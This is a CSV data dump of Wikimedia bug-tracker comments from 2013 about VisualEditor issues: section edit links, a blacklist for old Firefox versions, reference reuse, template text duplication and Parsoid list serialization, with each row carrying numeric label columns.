+245408,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",This is (besides bug 50542) one of the main reasons a seamless coexistence of VisualEditor and Wikitext editor is *not* possible at this time (as intended by the WMF).,,,1372799152,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245402,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Note that this request is being repeated a lot, including by people who are unhappy that mousing over causes words to pop up, which they say disrupts reading the page. They would prefer the words be always visible to avoid this.",,,1372767720,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+245396,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",This was proposed before and even had a rejected patch by me: I13bbb954.,,,1372725359,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+245390,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Sorry - wrong section.
+
+See:
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562471375#How_to_disable.3F",,,1372725043,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52534,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"A firefox 5.0 user is reporting that blacklisting simply isn't working - they're seeing the VE, broken. Their response to ""are you spoofing user headers"" was along the lines of ""what the heck is that?"" which answers that question.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372719060,1372727423.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-otwsyh65xhzuochbdcrh,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+245056,VisualEditor: Firefox 10 and under have issues and should be blacklisted,This is now deployed.,,,1372727423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+245053,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Change 71554 merged by jenkins-bot:
+Blacklist Firefox <= 10 per reports that it's broken
+
+https://gerrit.wikimedia.org/r/71554",,,1372723165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+245051,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"(In reply to comment #6)
+> I re-checked FF10 on Windows 7:  whether editing a whole page or a section
+> of a page FF10 presents the loading... bars but never presents the editor
+
+OK, we'll blacklist Firefox 10 and under per the above patch; will see if we can do a quick deploy today to avoid user confusion.",,,1372721478,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+245047,VisualEditor: Firefox 10 and under have issues and should be blacklisted,I re-checked FF10 on Windows 7:  whether editing a whole page or a section of a page FF10 presents the loading... bars but never presents the editor,,,1372721333,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+245042,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Change 71554 had a related patch set uploaded by Jforrester:
+Blacklist Firefox <= 10 per reports that it's broken
+
+https://gerrit.wikimedia.org/r/71554",,,1372721244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+245039,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"(In reply to comment #3)
+> Tried FF 5, 9, and 10, VE ""Edit"" links are available in all of them along
+> with
+> ""Edit source"" links.  In each case VE only displays the loading bars and does
+> not present any usable interface.
+
+We've had a user swear blind that everything works fine in FF 10. Clearly they misled us. :-(",,,1372721101,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1
+245034,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Tried FF 5, 9, and 10, VE ""Edit"" links are available in all of them along with ""Edit source"" links.  In each case VE only displays the loading bars and does not present any usable interface.",,,1372719656,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0
+245028,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Wait, so non-whitelisted browsers are let through? Is this documented anywhere?
+
+I'd suggest anything not whitelisted be blacklisted, frankly. We've got firefoxes 5, 9 and 10 producing substantial problems.",,,1372719459,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+245025,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"We don't blacklist Firefox 5. We currently blacklist:
+
+* MSIE <= 10
+* Android <= 3
+* Blackberry
+* Opera
+
+We whitelist:
+* Firefox >= 11
+* Iceweasel >= 10
+* Safari >= 5
+* Chrome >= 19
+
+All other browsers are let through, with a warning.
+
+Does this mean we should blacklist Firefox 5.0?",,,1372719336,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+52520,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**Author:** `rachelqa99`
+
+**Description:**
+enter erroneous text for existing reference
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/User:Rachel99/testing_070113?veaction=edit
+
+**Attached**: {F11502}",High,80.0,1372712580,1380559887.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5mroix5k2facuxaaopyg,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+244159,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,On review this was specifically fixed by the changes to how the references list was constructed; marking as such.,,,1380559887,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+244154,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"I can't reproduce this either. Time for a close as ""worksforme""?",,,1380546929,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+244148,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"Created attachment 12928
+screenshot of dialog
+
+I can't reproduce this; maybe the UI has been fixed?
+
+Attached is the list I see.  Typing 'ux' in the input box removes references that dont match the string 'ux'.  Typing 'sys' reduces the list to one reference that does match the box.
+
+**Attached**: {F11504}",,,1374557703,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+244140,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**rachelqa99** wrote:
+
+first reference is picked when erroneous text typed in
+
+**Attached**: {F11503}",,,1372712993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+244130,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**rachelqa99** wrote:
+
+I have references that already exist. I want to reuse one of them. I choose reference bookmark icon.  It lists all current references under use current reference.  It is unclear what to type here.  If I type in erroneous text, it seems to let me insert it, and it chooses the first reference [ users 1].  It does not check to see if text corresponds to existing reference.
+Need directions on what to type for a existing reference, or how to choose existing reference.",,,1372712923,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+52502,VisualEditor: Duplicating text in template on unrelated edit,"I suspect this may be related to an existing bug, but if so I can't figure out how to find it.
+
+Looking at the very bottom change on http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562259398, we see the first in a series of edits where editing elsewhere adds duplicated characters to a template that I don't believe is being edited directly. (Further duplication occurred in these edits to the same page: http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562359846, http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562363670, http://en.wikipedia.org/w/index.php?title=User:SLBohrman&diff=next&oldid=562363840)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372695120,1383006754.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4vsqha4nxg6sirme3ghc,task_description,resolved,True,c1,3,False,False,False,0,,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243138,VisualEditor: Duplicating text in template on unrelated edit,I *believe* that this is now fixed - marking as such. Please re-open if you find it happening again.,,,1383006754,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+243133,VisualEditor: Duplicating text in template on unrelated edit,Guillaume: This is a Parsoid bug (which I was able to reproduce). This current bug seems like a generic placeholder bug. I created bug 53429 in parsoid so we can identify more specifically what went wrong. You can add yourself to that bug if you wish.,,,1377639799,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+243129,VisualEditor: Duplicating text in template on unrelated edit,"In this edit, a table was duplicated (but it wasn't in a template):
+
+https://fr.wikipedia.org/w/index.php?&diff=96159772
+
+Is it the same issue or should I open a separate bug report?",,,1377594995,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0
+243123,VisualEditor: Duplicating text in template on unrelated edit,Can someone check and see if https://bugzilla.wikimedia.org/show_bug.cgi?id=52618 should better be marked as a duplicate of this? Thanks!,,,1375957426,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0
+243116,VisualEditor: Duplicating text in template on unrelated edit,"(In reply to comment #3)
+> en.wp user reports that adding a single hyphen to a page trigged this bug to
+> remove part of an infbox and duplicate other templates in the middle of a
+> category.
+> 
+> https://en.wikipedia.org/w/index.
+> php?title=IBM_Personal_Computer&diff=567356453&oldid=566275349
+
+The table at the end was not closed. I [https://en.wikipedia.org/w/index.php?title=IBM_Personal_Computer&diff=567437920&oldid=567357722 fixed it (for consistency's sake, I used the s-end template)] and VE edits and saves should not introduce dupes on this.",,,1375817388,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+243111,VisualEditor: Duplicating text in template on unrelated edit,"I think this diff from fr.wp is another example?
+https://fr.wikipedia.org/w/index.php?title=Gen%C3%A8ve&diff=95604102&oldid=95601955",,,1375804621,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+243105,VisualEditor: Duplicating text in template on unrelated edit,"en.wp user reports that adding a single hyphen to a page trigged this bug to remove part of an infbox and duplicate other templates in the middle of a category.
+
+https://en.wikipedia.org/w/index.php?title=IBM_Personal_Computer&diff=567356453&oldid=566275349",,,1375801774,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+243099,VisualEditor: Duplicating text in template on unrelated edit,"This looks like the same issue, yes.",,,1375377912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+243095,VisualEditor: Duplicating text in template on unrelated edit,"Could this bug be responsible for these edits where one templates was duplicated and the other apparently duplicated and substed in the middle of a category link?
+
+https://en.wikipedia.org/w/index.php?title=Ford_Figo&diff=566719977&oldid=566176664
+https://en.wikipedia.org/w/index.php?title=Ford_Figo&diff=next&oldid=566719977",,,1375370248,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4vsqha4nxg6sirme3ghc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0
+52483,VisualEditor: Likely invalid HTML emitted for list items,"Screenshot of list indent problem
+
+If I add indent to any list item, it breaks. 
+
+The indented line gets moved to the end of the previous line.
+
+The live-changes looks as it is working properly, but the edit-diff (preview your changes) always shows it as broken. (See attachment)
+
+Confirmed with:
+* Firefox and Chrome,
+* with ordered and un-ordered list items, 
+* with items added to the middle of a list, and to the end of a list,
+* and with both new items added to a list, and existing items given increased indent.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F11420}",High,80.0,1372641600,1372709778.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-fn66at2vne5i62qo6jnn,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+242079,VisualEditor: Likely invalid HTML emitted for list items,"Change 71395 merged by jenkins-bot:
+Bug 50483: Make sure nested list serialization is newline-insensitive
+
+https://gerrit.wikimedia.org/r/71395",,,1372708410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242075,VisualEditor: Likely invalid HTML emitted for list items,"Change 71395 had a related patch set uploaded by GWicke:
+Bug 50483: Make sure nested list serialization is newline-insensitive
+
+https://gerrit.wikimedia.org/r/71395",,,1372706751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242070,VisualEditor: Likely invalid HTML emitted for list items,This is not a new bug.  This has been around for a long time.  I went back to commits almost 3 months back and tested.,,,1372704536,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242065,VisualEditor: Likely invalid HTML emitted for list items,"Looks like Parsoid serializer is newline sensitive in this case:
+
+$ echo '<ol><li>Foo\n<ol><li>Bar</li></ol></li></ol>' | node parse.js --html2wt
+#Foo
+##Bar",,,1372704376,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+242057,VisualEditor: Likely invalid HTML emitted for list items,"$ echo '<ol><li>Foo<ol><li>Bar</li></ol></li></ol>' | node js/tests/parse.js  --html2wt 
+#Foo##Bar",,,1372704023,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+242050,VisualEditor: Likely invalid HTML emitted for list items,"I'm guessing that VE emits the wrong HTML here, so reassigning to VE. Please move to Parsoid again if the VE HTML is sane.",,,1372703188,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+242043,VisualEditor: Likely invalid HTML emitted for list items,"Also:
+echo '<ol><li>foo</li><li>bar</li></ol>' | node parse --html2wt
+#foo
